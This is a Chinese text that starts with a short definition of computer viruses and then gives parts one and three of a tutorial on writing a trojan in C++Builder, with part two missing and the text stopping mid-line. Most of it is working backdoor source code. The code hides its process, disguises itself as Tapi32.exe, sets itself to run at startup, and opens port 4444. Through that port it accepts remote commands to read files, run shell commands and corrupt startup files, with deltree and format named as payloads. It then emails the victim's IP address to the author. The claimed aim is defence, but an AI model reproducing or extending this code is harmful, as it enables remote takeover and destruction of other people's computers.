計算機病毒是壹個程序,壹段可執行碼。就像生物病毒壹樣,計算機病毒有獨特的復制能力。計算機病毒可以很快地蔓
延,又常常難以根除。它們能把自身附著在各種類型的文件上。當文件被復制或從壹個用戶傳送到另壹個用戶時,它們就隨
同文件壹起蔓延開來。
除復制能力外,某些計算機病毒還有其它壹些***同特性:壹個被汙染的程序能夠傳送病毒載體。當妳看到病毒載體似乎
僅僅表現在文字和圖象上時,它們可能也已毀壞了文件、再格式化了妳的硬盤驅動或引發了其它類型的災害。若是病毒並不
寄生於壹個汙染程序,它仍然能通過占據存貯空間給妳帶來麻煩,並降低妳的計算機的全部性能。
可以從不同角度給出計算機病毒的定義。壹種定義是通過磁盤、磁帶和網絡等作為媒介傳播擴散,能“傳染” 其他程序
的程序。另壹種是能夠實現自身復制且借助壹定的載體存在的具有潛伏性、傳染性和破壞性的程序。還有的定義是壹種人為
制造的程序,它通過不同的途徑潛伏或寄生在存儲媒體(如磁盤、內存)或程序裏。當某種條件或時機成熟時,它會自生復制
並傳播,使計算機的資源受到不同程序的破壞等等。這些說法在某種意義上借用了生物學病毒的概念,計算機病毒同生物病毒
所相似之處是能夠侵入計算機系統和網絡,危害正常工作的“病原體”。它能夠對計算機系統進行各種破壞,同時能夠自我復
制, 具有傳染性。
所以, 計算機病毒就是能夠通過某種途徑潛伏在計算機存儲介質(或程序)裏, 當達到某種條件時即被激活的具有對計
算機資源進行破壞作用的壹組程序或指令集合。
參考:/pages/winfile/FaQ/bingdu.html
木馬是如何編寫的(壹)
武漢 周侃
特洛依木馬這個名詞大家應該不陌生,自從98年“死牛崇拜”黑客小組公布Back Orifice以來,木馬猶如平地上的驚雷,使在Dos?Windows時代中長大的中國網民從五彩繽紛的網絡之夢中驚醒,終於認識到的網絡也有它邪惡的壹面,壹時間人心惶惶。
我那時在《電腦報》上看到壹篇文章,大意是壹個菜鳥被人用BO控制了,嚇得整天吃不下飯、睡不著覺、上不了網,到處求救!呵呵,要知道,木馬(Trojan)的歷史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木馬是由壹些玩程式(主要是C)水平很高的年輕人(主要是老美)用C或Shell語言編寫的,基本是用來竊取登陸主機的口令,以取得更高的權限。那時木馬的主要方法是誘騙?先修改妳的.profile文件,植入木馬;當妳登陸時將妳敲入的口令字符存入壹個文件,用Email的形式發到攻擊者的郵箱裏。國內的年輕人大都是在盜版Dos的熏陶下長大的,對網絡可以說很陌生。直到Win9x橫空出世,尤其是WinNt的普及,大大推動了網絡事業的發展的時候,BO這個用三年後的眼光看起來有點簡單甚至可以說是簡陋的木馬(甚至在Win9x的“關閉程序”對話框可以看到進程)給了當時中國人極大的震撼,它在中國的網絡安全方面可以說是壹個劃時代的軟件。
自己編寫木馬,聽起來很Cool是不是?!木馬壹定是由兩部分組成?服務器程序(Server)和客戶端程序(Client),服務器負責打開攻擊的道路,就像壹個內奸特務;客戶端負責攻擊目標,兩者需要壹定的網絡協議來進行通訊(壹般是TCP/IP協議)。為了讓大家更好的了解木馬攻擊技術,破除木馬的神秘感,我就來粗略講壹講編寫木馬的技術並順便編寫壹個例子木馬,使大家能更好地防範和查殺各種已知和未知的木馬。
首先是編程工具的選擇。目前流行的開發工具有C++Builder、VC、VB和Delphi,這裏我們選用C++Builder(以下簡稱BCB);VC雖然好,但GUI設計太復雜,為了更好地突出我的例子,集中註意力在木馬的基本原理上,我們選用可視化的BCB;Delphi也不錯,但缺陷是不能繼承已有的資源(如“死牛崇拜”黑客小組公布的BO2000源代碼,是VC編寫的,網上俯拾皆是);VB嘛,談都不談?難道妳還給受害者傳壹個1兆多的動態鏈接庫?Msvbvm60.dll嗎?
啟動C++Builder 5.0企業版,新建壹個工程,添加三個VCL控件:壹個是Internet頁中的Server Socket,另兩個是Fastnet頁中的NMFTP和NMSMTP。Server Socket的功能是用來使本程序變成壹個服務器程序,可以對外服務(對攻擊者敞開大門)。Socket最初是在Unix上出現的,後來微軟將它引入了Windows中(包括Win98和WinNt);後兩個控件的作用是用來使程序具有FTP(File Transfer Protocol文件傳輸協議)和SMTP(Simple Mail Transfer Protocol簡單郵件傳輸協議)功能,大家壹看都知道是使軟件具有上傳下載功能和發郵件功能的控件。
Form窗體是可視的,這當然是不可思議的。不光占去了大量的空間(光壹個Form就有300K之大),而且使軟件可見,根本沒什麽作用。因此實際寫木馬時可以用壹些技巧使程序不包含Form,就像Delphi用過程實現的小程序壹般只有17K左右那樣。
我們首先應該讓我們的程序能夠隱身。雙擊Form,首先在FormCreate事件中添加可使木馬在Win9x的“關閉程序”對話框中隱藏的代碼。這看起來很神秘,其實說穿了不過是壹種被稱之為Service的後臺進程,它可以運行在較高的優先級下,可以說是非常靠近系統核心的設備驅動程序中的那壹種。因此,只要將我們的程序在進程數據庫中用RegisterServiceProcess()函數註冊成服務進程(Service Process)就可以了。不過該函數的聲明在Borland預先打包的頭文件中沒有,那麽我們只好自己來聲明這個位於KERNEL32.DLL中的鳥函數了。
首先判斷目標機的操作系統是Win9x還是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系統的版本號
if (dwVersion >= 0x80000000)
// 操作系統是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定義RegisterServiceProcess()函數的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加載RegisterServiceProcess()函數所在的動態鏈接庫KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函數的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://執行RegisterServiceProcess()函數,隱藏本進程
FreeLibrary(hDLL);
file://卸載動態鏈接庫
}
}
這樣就終於可以隱身了(害我敲了這麽多代碼!)。為什麽要判斷操作系統呢?因為WinNt中的進程管理器可以對當前進程壹覽無余,因此沒必要在WinNt下也使用以上代碼(不過妳可以使用其他的方法,這個留到後面再講)。接著再將自己拷貝壹份到%System%目錄下,例如:C:\Windows\System,並修改註冊表,以便啟動時自動加載:
{
char TempPath[MAX_PATH];
file://定義壹個變量
GetSystemDirectory(TempPath ,MAX_PATH);
file://TempPath是system目錄緩沖區的地址,MAX_PATH是緩沖區的大小,得到目標機的System目錄路徑
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成為能供編譯器使用的樣式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://將自己拷貝到%System%目錄下,並改名為Tapi32.exe,偽裝起來
Registry=new TRegistry;
file://定義壹個TRegistry對象,準備修改註冊表,這壹步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
file://設置主鍵為HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打開鍵值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就創建之
try
{
file://如果以下語句發生異常,跳至catch,以避免程序崩潰
if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有“crossbow”字樣的鍵值,並且是否為拷貝的目錄%System%+Tapi32.exe
file://如果不是,就寫入以上鍵值和內容
}
catch(...)
{
file://如果有錯誤,什麽也不做
}
}
好,FormCreate過程完成了,這樣每次啟動都可以自動加載Tapi32.exe,並且在“關閉程序”對話框中看不見本進程了,木馬的雛形初現。
接著選中ServerSocket控件,在左邊的Object Inspector中將Active改為true,這樣程序壹啟動就打開特定端口,處於服務器工作狀態。再將Port填入4444,這是木馬的端口號,當然妳也可以用別的。但是妳要註意不要用1024以下的低端端口,因為這樣不但可能會與基本網絡協議使用的端口相沖突,而且很容易被發覺,因此盡量使用1024以上的高端端口(不過也有這樣壹種技術,它故意使用特定端口,因為如果引起沖突,Windows也不會報錯 ^_^)。妳可以看壹看TNMFTP控件使用的端口,是21號端口,這是FTP協議的專用控制端口(FTP Control Port);同理TNMSMTP的25號端口也是SMTP協議的專用端口。
再選中ServerSocket控件,點擊Events頁,雙擊OnClientRead事件,敲入以下代碼:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定義了壹堆待會兒要用到的變量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立壹個文本文件Win369.bat,作為臨時文件使用
AnsiString temp=Socket->ReceiveText();
file://接收客戶端(攻擊者,也就是妳自己)傳來的數據
}
好,大門敞開了!接著就是修改目標機的各種配置了!^_^ 首先我們來修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9個字符是“edit conf”
{
int number=temp.Length();
file://得到字符串的長度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://將第11個字符轉換成integer型,存入file_name變量
file://為什麽要取第11個字符,因為第10個字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余下的字符串將被作為寫入的內容寫入目標文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://將兩個目標文件的屬性改為可讀可寫
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11個字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11個字符是1,就把Config.sys格式化
times_of_try=0;
file://定義計數器
while(fp==NULL)
{
file://如果指針是空
fp=fopen(filename,"a+");
file://如果文件不存在,創建之;如果存在,準備在其後添加
file://如果出錯,文件指針為空,這樣就會重復
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
file://如果已經試了100次了,仍未成功
Socket->SendText("Fail By Open File");
file://就發回“Fail By Open File”的錯誤信息
goto END;
file://跳至END處
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://寫入添加的語句,例如deltree/y C:或者format/q/autotest C:,夠毒吧?!
fclose(fp);
file://寫完後關閉目標文件
Socket->SendText("Sucess");
file://然後發回“Success”的成功信息
}
}
上回我們講到如何修改目標機上的啟動配置文件,這回我們就來查看目標機上的目錄樹和文件吧,這在客戶端上使用“dir”命令,跟著敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3個字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的長度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://從字符串第六個字符開始,將後面的字符存入Dir_Name變量,這是目錄名
if(Dir_Name=="")
{
file://如果目錄名為空
Socket->SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打開目錄出錯
Socket->SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指針是NULL
fp=fopen(TempFile,"w+");
file://就創建system\Win369.bat準備讀和寫;如果此文件已存在,則會被覆蓋
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
file://如果已經試了100次了,仍未成功(真有耐心!)
Socket->SendText("Fail By Open File");
file://就發回“Fail By Open File”的錯誤信息
goto END;
file://並跳到END處
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果訪問目標目錄成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最後壹個字符不是“\”,證明不是根目錄
filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();
file://加上“\”字符後將指針指向目錄流
else
filename=(AnsiString(dirname)+ent->d_name).c_str();
file://如果是根目錄,則不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目標文件的訪問屬性
if (attrib & FA_RDONLY)
file://“&”字符是比較前後兩個變量,如果相同返回1,否則返回0
fwrite(" R",sizeof(char),3,fp);
file://將目標文件屬性設為只讀
else
fwrite(" ",sizeof(char),3,fp);
file://失敗則寫入空格
if (attrib & FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://將目標文件屬性設為隱藏
else
fwrite(" ",sizeof(char),1,fp);
file://失敗則寫入空格
if (attrib & FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://將目標文件屬性設為系統
else
fwrite(" ",sizeof(char),1,fp);
file://失敗則寫入空格
if (attrib & FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://將目標文件屬性設為普通
else
fwrite(" ",sizeof(char),1,fp);
file://失敗則寫入空格
if (attrib & FA_DIREC)
fwrite(" <DIR> ",sizeof(char),9,fp);
file://將目標文件屬性設為目錄
else
fwrite(" ",sizeof(char),9,fp);
file://失敗則寫入空格
fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
file://將目錄名寫入目標文件
fwrite(CR_LF,1,1,fp);
file://寫入換行
}
fclose(fp);
file://關閉文件
closedir(dir);
file://關閉目錄
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打開Win369.bat準備讀
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
file://如果已經試了100次了,仍未成功
Socket->SendText("Fail By Open File");
file://就發回“Fail By Open File”的錯誤信息
goto END;
file://並跳到END處
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i<300;i++) temp_content[i]='\0';
file://定義的壹個空數組
Read_Num=fread(temp_content,1,300,fp1);
file://從目標文件中讀入前300個字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text變量加上剛才的300個字符
for(int i=0;i<300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重復
};
Return_Text=Return_Text+temp_content;
file://Return_Text變量加上剛才的300個字符
fclose(fp1);
file://關閉目標文件
Socket->SendText(Return_Text);
file://返回Return_Text變量的內容
}
}
夠長吧?!察看目錄樹這麽費勁啊?!妳後面可以用BCB中的各種列表框對Client.exe好好美化美化。接下來就是查看指定文件的內容了,Client將使用“type”命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4個字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://將目標文件流存入File_Name變量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打開目標文件準備讀
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
file://如果已試了100次了
Socket->SendText("Fail By Open File");
file://返回“Fail By Open File”的錯誤信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i<300;i++) temp_content[i]='\0';
file://定義壹個空數組
Read_Num=fread(temp_content,1,300,fp);
file://從目標文件中讀入前300個字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text的內容加上剛才的字符
for(int i=0;i<300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重復
};
Return_Text=Return_Text+temp_content;
file://Return_Text的內容加上剛才的字符
fclose(fp);
file://關閉目標文件
Socket->SendText(Return_Text);
file://返回Return_Text的內容,即妳查看文件的內容
}
}
咳咳!累死了!還是來點輕松的吧?操縱目標機的光驅(註意:mciSendString()函數的聲明在mmsystem.h頭文件中):
{
else if(temp=="open")
{
file://如果收到的temp的內容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就彈出光驅的托盤
}
else if(temp=="close")
{
file://如果收到的temp的內容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驅的托盤。當然妳也可以搞個死循環,讓他的光驅好好活動活動!^_^
}
}
接著就是交換目標機的鼠標左右鍵,代碼如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交換鼠標左右鍵,簡單吧?
}
}
然後就是使目標機重新啟動。但這裏要區分WinNt和Win9x?NT非常註重系統每個進程的權利,壹個普通的進程是不應具備有調用系統的權利的,因此我們要賦予本程序足夠的權限:
{
else if(temp=="reboot")
{
file://如果收到的temp的內容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系統的版本號
if (dwVersion < 0x80000000)
{
file://操作系統是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定義變量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken);
file://OpenProcessToken()這個函數的作用是打開壹個進程的訪問令牌
file://GetCurrentProcess()函數的作用是得到本進程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
file://LookupPrivilegeValue()的作用是修改進程的權限
tkp.PrivilegeCount = 1;
file://賦給本進程特權
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
file://AdjustTokenPrivileges()的作用是通知Windows NT修改本進程的權利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://強行退出WinNt並重啟
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://強行退出Win9x並重啟
}
}
如果以上都不是,就讓它在Dos窗口中執行傳來的命令:
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://創建Win369.bat,如果已存在就覆蓋
times_of_try=times_of_try+1;
file://計數器加1
if(times_of_try>100)
{
Socket->SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://寫入欲執行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://寫入換行符
fclose(fp);
file://關閉Win369.bat
system(TempFile);
file://執行Win369.bat
Socket->SendText("Success");
file://返回“Success”信息
}
}
妳可以直接執行什麽Ping和Tracert之類的命令來進壹步刺探目標機的網絡狀況(判斷是否是壹個企業的局域網),然後可以進壹步攻擊,比如Deltree和Format命令。^_^
到此,服務器程序的功能已全部完成,但還差容錯部分未完成,這樣才能避免程序因意外而崩潰。朋友,別走開!(未完待續)
木馬是如何編寫的(三)
武漢 周侃
上次已編寫完服務器端的各種功能,但還差容錯部分還未完成,下面我們Go on! 其代碼如下(照敲不誤 ^_^):
{
END:;
Socket->Close();
file://關閉服務
ServerSocket1->Active =true;
file://再次打開服務
if (NMSMTP1->Connected) NMSMTP1->Disconnect();
file://如果SMTP服務器已連接則斷開
NMSMTP1->Host = "smtp.163.net";
file://選壹個好用的SMTP服務器,如163、263、sina和btamail
NMSMTP1->UserID = "";
file://妳SMTP的ID
try
{
NMSMTP1->Connect();
file://再次連接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1->PostMessage->FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1->PostMessage->FromName = "Casualty";
file://受害者的名字
NMSMTP1->PostMessage->ToAddress->Text = "crossbow@8848.net";
file://將信發到我的郵箱,這壹步很關鍵
NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ;
file://信的內容提示妳“服務器正在運行”,並且告訴妳受害者的目前的IP地址,以便連接
NMSMTP1->PostMessage->Subject = "Server Runn